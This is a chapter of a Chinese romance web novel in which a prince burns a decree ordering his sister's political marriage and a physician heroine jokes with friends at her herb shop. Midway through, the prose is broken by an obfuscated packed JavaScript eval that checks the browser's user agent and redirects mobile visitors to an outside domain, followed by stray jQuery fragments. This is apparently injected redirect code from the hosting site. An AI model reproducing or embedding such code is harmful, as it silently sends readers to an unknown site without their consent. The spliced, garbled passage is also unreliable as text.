20. 幼稚鬼

作品:《雪蒂哗然

    晴空朗朗,白云蓝天,露台种植的花种有隐隐绽放之意,昨夜月雾朦胧,星辰隐露,观是下雨之兆。现在看来,艳阳高照,暖风呼扬,夏月的第一场雨,大概是推迟了。


    言衍之将朱玉还于商夜年,他们此次回祁国,多亏了他这枚朱玉。


    屋内就他们二人,兄弟说话也不必拐弯抹角,言衍之一并带来的不止朱玉,还有一封信。


    言衍之预先劝说道:“别动怒。”


    商夜年垂眸,看着信中的内容,脸色愈发的黑沉,信纸被捏得微皱,怒道:“荒唐!”


    他指尖微微泛白,落款处的皇印多此一举,他恨不得现在就把这诏皇令撕个粉碎。


    皇命难违,言衍之也束手无策,只能劝他先冷静下来,“两国欲交战,这是最好的缓军之计。待阿序彻底治好,我们再想对策?”


    商夜年觉得可笑,牵起嘴角冷嗤,森寒怵然,眼神轻蔑不可一世。


    “他是想让阿序治好后,更好去和亲?”他不惧开战,更不信服这荒谬的道理,“为何总要牺牲女子来平息战争,一国之君就这般能耐?”


    “阿年,那是你父皇!”言衍之厉声道。


    “那又如何!”少年提高了音量,比他更甚几番。


    言衍之怔住,他望着面前的少年,厉目阴沉,桀骜不羁。帝王之子,气势浩荡。他不认命,也绝不会让阿序认这荒唐的命。


    事关阿序的婚事,他无法容忍,抬手将写有皇令的信纸烧毁。生于漫无人情的宫中,他们自出生那刻就注定无可择选,世人皆说生于皇城,今生便可无忧无虑、财银尽享。


    只有真正出生于皇城的人才懂,那里尔虞我诈、虚情假意,自哭声响起,就此再无自由。手足相争,无念旧情,登王则生,跌落便死。


    “我的婚事,他们无权做主。阿序的亦是。”少年目光淡淡,话却厚重难驳,“衍之,你应当比我更懂‘铜雀春深锁二乔’的道理。你和秦芷昕不也是吗?”


    言衍之无言,他深知几人的难处,朝堂无权立足,殿前无能立命。阿年性子张扬傲气,却不愿参与皇子之争,可即便如此,他也逃不脱。阿序是最受宠的公主,也难以摆脱和亲救国之命。芷昕和他,都是谋权的牺牲物。


    商夜年将灰尘扬去,低声道:“衍之,此事不要让阿序知晓。”


    言衍之笑道:“自是明白的。”他赞赏少年的作风,也正是如此,他才会甘心站于他这一侧。


    “不过阿年,”他提醒道,“我们也该出发去漠北了。”


    “......再等两日。”


    -洛水药铺


    裴烟落发誓,今天是她有史以来,最忙、最累的一天,没有之一。就连祝苋安和胡糊都忙得不可开交,急着抓药,急着包药。


    对面坐了个中年男子,看模样年轻气盛,其脉却虚浮无力。裴烟落眉头一跳,开了付壮阳的方子给他,叮嘱也是难言启齿。那中年男子也是顿悟,羞红着脸拿上药离开。


    裴烟落心里啧啧啧个不停,年轻人呐,也得节制些嘛。


    “下一位,”身前有身影坐下,她垂头问道,“客官哪里不适?”


    “在下不求医,只想来寻个人。”


    “寻人?”裴烟落重复一遍抬头。


    祝苋安和胡糊也闻声回头,停下来手头上的事情。


    又是一名中年男子,与先前那个不同是,他面目清秀,看着温润如玉,男生女相。如若不是听到他声音,裴烟落差点将他认错为女子。


    她道:“客官怕是走错了,我这是药铺,寻人应去隔壁离禾客栈的李掌柜。”


    男子弯唇摇摇头,从袖间拿出一块白色面纱,说道:“我要寻的,是这面纱的主人。医官可还有印象?”


    这块面纱裴烟落和胡糊见过,六日前季琉璃在看诊时戴过,听他这话的意思,他们认识?


    胡糊上前答道:“这位病患已经很久没来药铺了。”


    “这样——”男子沉思片刻,弯腰道谢,“多谢医官告知。”他转身离去。


    三人相互对了对眼神,一阵无言后又继续做自己的事情。


    临近药铺关门,尚未看完的病人还有不少。裴烟落为自己感到心酸:学医必备常态,加班!没想到到了古代她也要经历。


    祝苋安瞧见门外站着的人,他似乎已经在那等许久了,目光径直掠过她,看向身后忙碌的裴烟落,久久不移。


    她把手中的书籍放落,小声提醒道:“小医官,商公子好像在等你。”


    “我知道。”裴烟落抽空往门外看,朝商夜年笑了笑,“我和他要去医馆寻书。祝姐姐要一起吗?”


    祝苋安婉拒道:“我便不了,上回你给我的书还未看完的。”而且,她去似乎也不太好。


    裴烟落也没多想,权当她学业重,语重心长地叮嘱道:“祝姐姐要注意劳逸结合哦。”


    话从自己口中一出,裴烟落觉得有哪里不太对,好像现在最需要劳逸结合的是她。


    祝苋安被她一副小大人样逗笑,“小医官才是。”


    裴烟落凄惨地笑。这些都不重要了,她已经自动代入打工牛马一族了,迟早都是要这么累的。更何况这还是系统派发的任务,她只能抱怨,不能不做。


    最后一位病患看完时,太阳已下山,药铺外扑面暖橙,散着粘腻的闷热。


    裴烟落被这一层层的纱裙裹得不适,后背冒出了薄汗,湿哒哒的,浑身不舒畅。裙袖被她撩至肘上一寸,露出雪白的肌肤,清嫩的乖容在夕阳下白得透亮,像深海里的夜明珠,稀世难得。


    她一个劲地朝自己扇风,扫了眼药铺,除了悠闲坐在桌上喝茶的商夜年,祝苋安和胡糊两人不见人影。


    她坐到商夜年对面,给自己倒了杯水,问道:“怎么就你一个人了?”


    商夜年看着她,不答反问:“你很热?”


    “有点。”她把杯子放下,“所以他们人呢?”


    “不知道。”


    裴烟落微顿抿唇,又给自己倒了杯水喝掉,擦干嘴角的水渍,道:“那我们先去医馆吧。”


    她直直转过身走出药铺,也不管商夜年有没有跟上。少年微微扬眉,眼神往二楼瞥,抬脚慢悠悠地往外走。


    他心中默数,3、2、1.


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023534|175596||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不多不少,下一秒,裴烟落的声音响起:“嗬,我就知道你们在楼上躲着!”她气冲冲地调回身,越过他,皱眉瞪着楼上悄悄躲在梁柱后的祝苋安和胡糊。


    楼上的二人似是没想到她会再次折回,观戏的脑袋才伸出一点,就被裴烟落逮个正着,尴尬到不行。


    裴烟落仰着头,“祝姐姐,是迷糊师兄带的头吧?”


    胡糊:?有他什么事?


    祝苋安面不改色地点头:“是。”她地指着面露诧异的胡糊,无辜道:“胡糊兄出的主意。”


    ......胡糊百口莫辩,不是她拉着他上来的吗,怎么还堆到他身上来了?


    “两个幼稚鬼。”裴烟落哼了声,拉着看戏的商夜年往外走,“我们不跟他们玩,绝交!”


    “......”


    安静片刻后,楼上的二人看着负气背走的少女,相视一眼,扑哧一声,二人笑出声来。到底是谁幼稚啊。


    裴烟落扯着他的衣袖走在前头,脸颊被气得鼓鼓的,一言不发,看起里仿佛真的生气了般。


    回想起她刚刚带着威胁性的话,少年闷笑出声。


    她疑惑歪头瞧他,“你笑什么?”


    少年眉眼舒和,笑得更加放肆,直言道:“你幼不幼稚。”


    裴烟落一点都不觉得羞耻,反而乐在其中:“这样不好玩嘛?”


    商夜年嗯了声,道:“还行。”


    “奥,”她拉长语调,松开紧攥的衣袖,去戳他的手臂,玩味一笑,“那你笑得这么开心做干嘛呐?”


    “还不能笑笑幼稚鬼了?”他应付地游刃有余。


    她哼哼两声,扭过头不理会他。倒也不是生气,因为嘴角还挂着笑。


    商夜年稍微收了些笑意,默默走到她身旁。


    夕阳将要落山,遮掩住半面光芒,迎面而来,将他们二人的影子拉得斜长,阵阵微风拂来,吹起柔软的衣袍与裙摆,后看斜影处,衣裙相织依偎,云彩墨染。


    时辰一点一点的过去,落日藏于山峦后,方才的闷热也变得清凉,风过竟也引得人弱弱寒颤。


    两人坐在医馆的矮桌上翻阅医书,屋内只点了盏烛灯放于桌角,灯芯燃半,火光微晃,柔烛照得眸色软软。


    裴烟落放下书,直直看着他:“商夜年,向你打听个人。”


    他撑着一侧头:“裴大夫,洛水你比我熟。”


    她当然知道。


    “但是这人你也见过的,还不止一次。”


    她忽就凑向前,商夜年往后撤了些,懒散抬眸,说话也有慵懒意味:“问就问,凑这么近干嘛。我见谁了?”


    “你的艳福啊,”她不退反进,面色沉重道,“商夜年,你有情敌了!”


    “......”少年的俏颜本就陷于黑暗中,现下黑一阵白一阵,他深吸一口气,切齿道,“裴烟落,你还真的是蠢。”


    裴烟落伸出一根手指在他眼前晃了晃,目光肯定且坚定,道:“不不不,是你要失去你的艳福了。”


    这么讨人厌,还动不动骂人的性子,哪比得上那位男子半分。脸生得不凡又怎样,也得被淘汰。